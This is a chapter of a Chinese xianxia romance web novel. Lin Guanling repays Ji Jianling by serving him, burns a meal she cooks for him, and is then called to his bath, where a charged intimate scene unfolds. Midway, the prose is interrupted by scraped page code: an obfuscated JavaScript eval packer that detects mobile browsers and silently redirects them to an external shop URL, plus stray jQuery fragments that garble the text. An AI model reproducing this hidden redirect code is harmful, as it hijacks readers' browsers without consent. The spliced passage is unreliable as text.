望着对方有些呆滞的面庞,纪见凌笑了笑,还以为她不情愿:“怎么,说好的无以为报,你就是这副态度?”


    蔺观铃下意识摇了摇头。与其说是不情愿,倒不如说是太情愿。


    她从不愿意亏欠别人。自知自己的命不属于自己,便也没必要跟他人多有纠缠。若是有人无缘由的对她好,她便要绞尽脑汁的将这情给还回去。


    “我愿意。”


    她坚定道:“我愿意的。”


    少女神情坚定,倒真有了一种忠心耿耿愿意为他赴汤蹈火在所不辞的感觉。却没想到纪见凌见她这模样却一噎,不知道为何心底又生出一股无名火,震声让刘戚进来将她请了出去。


    刘戚小心翼翼地将门带上,还是不免听见内里传来几道物品碰撞的尖锐嘈杂声。


    二人走到殿外,刘戚便按照要求将她需要做的事务范围以及注意事项转述给了蔺观铃。


    蔺观铃点了点头,表示都记住了。不过倒是不像她想象那般,她本以为应是像刘戚这样,处理各种各样的公务杂事。


    不过二人都有一个共同点,那就是随叫随到。


    刘戚得知她是这么想的,不由得苦笑几分。


    这等磋磨人的位置也只有他坐了。这位蔺姑娘可真是木得可以,家主将她安排在身边,不过就是想要多亲昵亲昵。跟他这家生的仆从可是天壤之别。


    但他可不能随意置喙纪见凌的决定,若是让纪见凌得知他在蔺观铃前胡言乱语,怕是有吃不尽的苦头。


    说到此处,听闻那岑长老和他的小女入了司妖监不过几日,那岑嫣然便日日哭着喊着要下山回家。


    岑睿也没好到哪里去,短短几日,像是过了数年,一张脸疲态尽显。往日的同僚见了他这副模样后,虽是有些怜悯,但他身上恶臭太甚,不少人忍不住当面捂鼻,使得那岑睿脸色愈发难堪。


    收回思绪,刘戚摇了摇头,心想还是踏踏实实做好本分吧。将蔺观铃送回住处后,他将手中传讯令牌递给她。


    “蔺姑娘可要记住,只要这令牌一亮,你不论是在做什么,都需立刻过去。”


    她点了点头,爽快收下了。


    -


    蔺观铃从未放弃寻找当年灭门相关的人和修补内府的方法。


    可不论是哪一方,进度似乎都有些阻滞。


    从东方羡的话中,便能得知一二,也正是应了纪易之千方百计想让自己前去长衡的心思。


    纪易之说过,她与他的仇敌应是一样的。他不断叛逃谋划,不过是因为他想要摆脱纪家的掌控,再反过来能够捅回去一刀,以解心头之恨。


    可纪家据存已久,根茎深不可测,族人错综复杂。茫茫人海之中,哪些是她真正的仇敌,哪些又是同她、纪易之一般的受害者?


    她忽地想到一男人癫狂的面孔。


    白祯是杀害她家人的直接凶手,从他的身上深挖,或许才能知道更多。


    说起来,白祯的死,是极为蹊跷的。


    可当时她因为伤情过重,已经意识不清。而纪见凌却说,白祯不是他所杀。


    倒像是自刎。


    在他失去意识之前,只觉得周身逐渐漫上一股刺骨的冷意,随后便看见白祯忽地大笑,居然抬手将自己的头割了下来。


    可白祯为何要这么做?他没理由这种压倒性的局面、在即将手刃二人时挥刀自刎。


    好古怪。


    蔺观铃不断在脑中将这些细碎的记忆试图联系拼接,可如何都不得其解,如同雾里观花。


    未等她细细思考,腰间的令牌忽地闪动,在夜色中分外明显。


    待她急匆匆地赶到时,对方正百无聊赖地靠在软榻上,似乎是专门等着她到来。


    “饿了。”他指了指一旁的厨房。


    蔺观铃却有些犹豫:“修行之人,需得保持五根清净……”


    纪见凌冷冷斜她一眼,语气拉长:“是谁说的无以为报——”


    未等他说完,只见人小跑着进了厨房。看着少女慌里慌张的背影,纪见凌心中微动,不由得无声笑了笑。


    几刻后,她将一盘盘东西尽数摆上,裹挟着一股难言的味道。


    那食箸在这一团乌黑的东西上滞空了许久,终究是下不了手。纪见凌强迎着她期待的目光,在这几盘中找了个勉强能看出食材本源的夹起一块。


    蔺观铃入道之后便早早辟谷,自然是从未沾染过做饭之类的事情。


    没吃过猪肉也见过猪跑。光看这些散发着焦糊味道的不明物体,就连她这个厨子本人都觉得暴殄天物,难以下咽。


    蔺观铃叹了口气,制止他的动作:“算了吧。你若是真想吃,等我去寻个师傅学学再做吧。”


    却没想到少年倔强得过分,蔺观铃拗不过他,只能随他去了。纪见凌不依不饶地夹起那块胡瓜,一口就塞了进去。


    果不其然,只是转眼,少年一张脸迅速涨红,双眼通红,随后堪称泣涕横流。蔺观铃急忙跑去将手帕和凉水好心递给他,却在下一刻又被他赶了出去。


    她刚刚迈出大门,就听见身后传来气息不平的怒吼:


    “蔺观铃!你存心的是不是!”


    她叹了叹气。


    上天作证,她是真心想要做牛做马报答他的恩情。


    可好言难劝该死的鬼,她问心无愧。于是见时辰还早,索性一溜烟跑去附近的练场练剑去了。


    待刘戚进来,看到的便是这副难言的景象。


    他默默上前收拾桌上的东西,身旁人停止了擦鼻涕的动作,问他:“蔺观铃呢?”


    刘戚在来时隔老远就听见他的喊叫,心想不是你把人给赶走的吗。他低眉顺眼的回答:“蔺姑娘去了练场。”


    闻言,纪见凌简直要被气笑了。怒气上涌,胃里的辛辣也随之漫上了心肺,使得他又笑又喘,整个人像个漏气的风箱。


    刘戚有些担忧道:“要不?让医师来看看?”


    纪见凌此时正在气头上,双眼通红抬头看着他笑道:“好啊,多给我开些润脾清心的药,省得我早晚被她给气死!”


    刘戚再不敢开口,只能加快手上动作,又见少年突然道:


    “……这些东西先别扔,放冰窖里。”


    刘戚简直是要惊掉下巴,他岔声道:“还吃啊???”


    不知道是不是纪见凌因这次的饭菜长了记性,下一次传唤她时已是几日后。


    不过这次倒不是让她来做饭。今日他难得休沐,便让她直接去了纪家。


    蔺观铃头次来到纪家府邸,看着眼前这犹如琼楼金阙的宅子不由得暗暗吃惊。


    在外等待的侍从瞧见她后,便急急上迎了来,客客气气地按照纪见凌的吩咐领她前去。


    跟着人七拐八拐走了好一会后,待到一处门前,那侍从就不再前进,而是向她福了福身,便低头迅速离开。


    蔺观铃有些不明所以,她下意识推开这厚重的房门,却没想到扑面而来的便是氤氲水雾,泠泠水声。


    烟雾缭绕中,透过那层层珠屏,便能看到一人隐隐绰绰的身影。


    她没料到居然是这副场景,欲要上前的步子瞬间急停。


    似乎是察觉她的退缩,那人懒懒道:“呆站在那干什么?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287350|186344||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    蔺观铃只好硬着头皮走了过去。


    越往内水雾便愈发浓重,若有若无的草木香气在其中弥漫,空气湿重得叫人有些难以呼吸。


    少年鸦青长发披露在裸-露的肩头,白皙的脸庞被水雾染上几分红晕,眉眼清俊,双唇嫣红。活脱脱像是志怪话本中钻出来摄人心魄的艳鬼。


    他蓦然睁眼,双眼温润,如潋滟春水。话语虽是不耐,但语气慵懒:


    “叫你来莫非就是让你在这傻傻站着看戏吗?”


    她答应当牛做马,想的是为他排忧解难做苦力,却没想到自己居然还要负责这等私务。


    纪见凌听过她的想法后,蓦然笑了笑。


    轮苦力,显然刘戚比她更好用。此话一出,迎着对方带有几分戏谑的眼神,蔺观铃鲜少有了几分尴尬的情绪。


    少年不再跟她多废话,长臂一伸,她的手心短暂被那湿漉漉的手掌虚拢住。随后手心上多了一个湿滑粘腻的香胰子。


    事到如今,蔺观铃也不好再说什么反抗的话。双眼一闭,手上动作,想像自己是在搓颂香那匹小黑马,动作可谓极为老成熟练。


    “嘶。”他突然痛呼出声。


    蔺观铃连忙睁眼停下,少年劲瘦的背脊一览无余。她却像是被猛地刺了一般,目光愕然。


    原本白皙无暇的背脊上,被一道丑陋疤痕生生破开。由遍布蔓延的增生痕迹可以见得伤口之深。


    一股难言的郁闷感涌了上来,心口像是被一张大手紧紧攥住,呼吸不得。蔺观铃忍不住轻轻拂上那道疤痕,似是这样就能减缓些痛苦。她怔怔问道:“很疼吧。”


    当然疼。她又怎么可能不知道。


    少年仍未转身,缄默不语,偌大的汤室突然静了下来,只余点点水声作祟。


    不知何时一只手伸出,趁她还未回神之时,忽地攥着她的手心将她拖了下来。


    水花四溅开来,再次打湿二人的身体。此刻她鬓发湿乱,一张脸像是被濯洗过一般,泛着淡淡莹光。她愣愣抬头,迎上少年低垂复杂的目光。


    “我若是说疼,你会心疼我吗?”


    回答这句话再简单不过,而她却透过他的眼神,似乎明白了对方不只是在问她索要那一点点心疼。


    见她不回答,纪见凌抿紧了唇,缓缓拢过她白润面庞。


    “阿芝……”他轻声唤着她。


    他已经忍耐了太久。


    食髓知味。夜深之时,他不止一次梦回那晚的魂牵梦绕,红烛摇曳。可她似乎好像早早就将那晚抛之脑后,让他不止一次生疑是否只是自己的痴心妄想。


    这样想着,他心生怨气,怀着心底的几丝怨气,泄愤似的咬上她的脖颈处。


    蔺观铃被他的动作猛地一惊。倒不是因为疼痛,而是一种……难堪……


    她手脚发软,竟是推不动身上的人分毫。


    不知过了多久,待到那处被他凌虐到微微发肿泛红,纪见凌这才善罢甘休。


    怀中人似乎还未回神,犹如一头呆头鹅一般,懵然瞪大了眼,指节仍旧紧紧攥着他湿透的发尾。


    红透的耳畔却暴露了她慌张的心思。


    还未等他再开口说什么,少女猛地发力推开他,带着一身水痕落荒而逃一般跑出了汤室。临到出门之时,还险些被门槛给绊上一脚。


    过了许久,池内水波仍在不断晃荡起伏,泛起层层涟漪。


    屋内雾气弥漫,似乎还残留着独属于她身上的味道。


    水流裹挟着暖意蔓延至全身,一波波拍上池壁。


    他轻轻喟叹,任凭这酥麻痒意蔓延至四肢百骸。